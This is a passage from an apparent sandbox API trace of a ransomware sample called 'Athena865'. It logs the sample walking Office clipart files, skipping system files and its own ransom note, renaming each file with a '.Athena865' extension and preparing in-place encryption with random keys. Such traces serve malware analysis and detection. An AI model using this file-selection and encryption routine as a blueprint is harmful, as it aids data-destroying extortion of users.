(lpString="J0241077.WMF") returned 12 [0129.208] lstrlenW (lpString="Athena865") returned 9 [0129.208] lstrcmpiW (lpString1="41077.WMF", lpString2="Athena865") returned -1 [0129.208] lstrlenW (lpString=".dll") returned 4 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2=".dll") returned 1 [0129.208] lstrlenW (lpString=".lnk") returned 4 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2=".lnk") returned 1 [0129.208] lstrlenW (lpString=".ini") returned 4 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2=".ini") returned 1 [0129.208] lstrlenW (lpString=".sys") returned 4 [0129.208] lstrcmpiW (lpString1="J0241077.WMF", lpString2=".sys") returned 1 [0129.208] lstrlenW (lpString="J0241077.WMF") returned 12 [0129.208] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.Athena865") returned 73 [0129.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.athena865"), dwFlags=0x1) returned 1 [0129.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.210] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2090) returned 1 [0129.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.210] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.211] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.211] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.211] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb30, lpName=0x0) returned 0x154 [0129.212] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb30) returned 0x100000 [0129.213] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.214] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.214] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.215] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.215] CloseHandle (hObject=0x154) returned 1 [0129.215] CloseHandle (hObject=0x17c) returned 1 [0129.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.215] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0129.215] lstrcmpiW (lpString1="J0241773.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.215] lstrcmpiW (lpString1="J0241773.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.215] lstrcmpiW (lpString1="J0241773.WMF", lpString2=".") returned 1 [0129.215] lstrcmpiW (lpString1="J0241773.WMF", lpString2="..") returned 1 [0129.215] lstrcmpiW (lpString1="J0241773.WMF", lpString2="windows") returned -1 [0129.215] lstrcmpiW (lpString1="J0241773.WMF", lpString2="bootmgr") returned 1 [0129.215] lstrcmpiW (lpString1="J0241773.WMF", lpString2="temp") returned -1 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2="pagefile.sys") returned -1 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2="boot") returned 1 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2="ids.txt") returned 1 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2="ntuser.dat") returned -1 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2="perflogs") returned -1 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2="MSBuild") returned -1 [0129.216] lstrlenW (lpString="J0241773.WMF") returned 12 [0129.216] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0241773.WMF" | out: lpString1="J0241773.WMF") returned="J0241773.WMF" [0129.216] lstrlenW (lpString="J0241773.WMF") returned 12 [0129.216] lstrlenW (lpString="Athena865") returned 9 [0129.216] lstrcmpiW (lpString1="41773.WMF", lpString2="Athena865") returned -1 [0129.216] lstrlenW (lpString=".dll") returned 4 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2=".dll") returned 1 [0129.216] lstrlenW (lpString=".lnk") returned 4 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2=".lnk") returned 1 [0129.216] lstrlenW (lpString=".ini") returned 4 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2=".ini") returned 1 [0129.216] lstrlenW (lpString=".sys") returned 4 [0129.216] lstrcmpiW (lpString1="J0241773.WMF", lpString2=".sys") returned 1 [0129.216] lstrlenW (lpString="J0241773.WMF") returned 12 [0129.216] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.Athena865") returned 73 [0129.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.athena865"), dwFlags=0x1) returned 1 [0129.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.218] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3262) returned 1 [0129.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.219] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.219] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.219] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.220] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfc0, lpName=0x0) returned 0x154 [0129.221] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfc0) returned 0x100000 [0129.222] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.222] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.222] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.223] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.223] CloseHandle (hObject=0x154) returned 1 [0129.223] CloseHandle (hObject=0x17c) returned 1 [0129.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.224] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2=".") returned 1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="..") returned 1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="windows") returned -1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="bootmgr") returned 1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="temp") returned -1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="pagefile.sys") returned -1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="boot") returned 1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="ids.txt") returned 1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="ntuser.dat") returned -1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="perflogs") returned -1 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2="MSBuild") returned -1 [0129.224] lstrlenW (lpString="J0241781.WMF") returned 12 [0129.224] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0241781.WMF" | out: lpString1="J0241781.WMF") returned="J0241781.WMF" [0129.224] lstrlenW (lpString="J0241781.WMF") returned 12 [0129.224] lstrlenW (lpString="Athena865") returned 9 [0129.224] lstrcmpiW (lpString1="41781.WMF", lpString2="Athena865") returned -1 [0129.224] lstrlenW (lpString=".dll") returned 4 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2=".dll") returned 1 [0129.224] lstrlenW (lpString=".lnk") returned 4 [0129.224] lstrcmpiW (lpString1="J0241781.WMF", lpString2=".lnk") returned 1 [0129.224] lstrlenW (lpString=".ini") returned 4 [0129.225] lstrcmpiW (lpString1="J0241781.WMF", lpString2=".ini") returned 1 [0129.225] lstrlenW (lpString=".sys") returned 4 [0129.225] lstrcmpiW (lpString1="J0241781.WMF", lpString2=".sys") returned 1 [0129.225] lstrlenW (lpString="J0241781.WMF") returned 12 [0129.225] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.Athena865") returned 73 [0129.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.athena865"), dwFlags=0x1) returned 1 [0129.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.226] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1970) returned 1 [0129.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.226] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.226] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.227] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.227] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.227] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac0, lpName=0x0) returned 0x154 [0129.229] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac0) returned 0x100000 [0129.230] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.231] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.231] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.231] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.232] CloseHandle (hObject=0x154) returned 1 [0129.232] CloseHandle (hObject=0x17c) returned 1 [0129.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.232] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2=".") returned 1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="..") returned 1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="windows") returned -1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="bootmgr") returned 1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="temp") returned -1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="pagefile.sys") returned -1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="boot") returned 1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="ids.txt") returned 1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="ntuser.dat") returned -1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="perflogs") returned -1 [0129.232] lstrcmpiW (lpString1="J0250504.WMF", lpString2="MSBuild") returned -1 [0129.232] lstrlenW (lpString="J0250504.WMF") returned 12 [0129.233] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0250504.WMF" | out: lpString1="J0250504.WMF") returned="J0250504.WMF" [0129.233] lstrlenW (lpString="J0250504.WMF") returned 12 [0129.233] lstrlenW (lpString="Athena865") returned 9 [0129.233] lstrcmpiW (lpString1="50504.WMF", lpString2="Athena865") returned -1 [0129.233] lstrlenW (lpString=".dll") returned 4 [0129.233] lstrcmpiW (lpString1="J0250504.WMF", lpString2=".dll") returned 1 [0129.233] lstrlenW (lpString=".lnk") returned 4 [0129.233] lstrcmpiW (lpString1="J0250504.WMF", lpString2=".lnk") returned 1 [0129.233] lstrlenW (lpString=".ini") returned 4 [0129.233] lstrcmpiW (lpString1="J0250504.WMF", lpString2=".ini") returned 1 [0129.233] lstrlenW (lpString=".sys") returned 4 [0129.233] lstrcmpiW (lpString1="J0250504.WMF", lpString2=".sys") returned 1 [0129.233] lstrlenW (lpString="J0250504.WMF") returned 12 [0129.233] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.Athena865") returned 73 [0129.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.athena865"), dwFlags=0x1) returned 1 [0129.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.234] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31032) returned 1 [0129.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.235] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.235] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.236] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.236] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c40, lpName=0x0) returned 0x154 [0129.237] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c40) returned 0x100000 [0129.239] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.240] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.240] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.241] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.241] CloseHandle (hObject=0x154) returned 1 [0129.241] CloseHandle (hObject=0x17c) returned 1 [0129.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.241] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2=".") returned 1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="..") returned 1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="windows") returned -1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="bootmgr") returned 1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="temp") returned -1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="pagefile.sys") returned -1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="boot") returned 1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="ids.txt") returned 1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="ntuser.dat") returned -1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="perflogs") returned -1 [0129.242] lstrcmpiW (lpString1="J0250997.WMF", lpString2="MSBuild") returned -1 [0129.242] lstrlenW (lpString="J0250997.WMF") returned 12 [0129.242] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0250997.WMF" | out: lpString1="J0250997.WMF") returned="J0250997.WMF" [0129.242] lstrlenW (lpString="J0250997.WMF") returned 12 [0129.242] lstrlenW (lpString="Athena865") returned 9 [0129.242] lstrcmpiW (lpString1="50997.WMF", lpString2="Athena865") returned 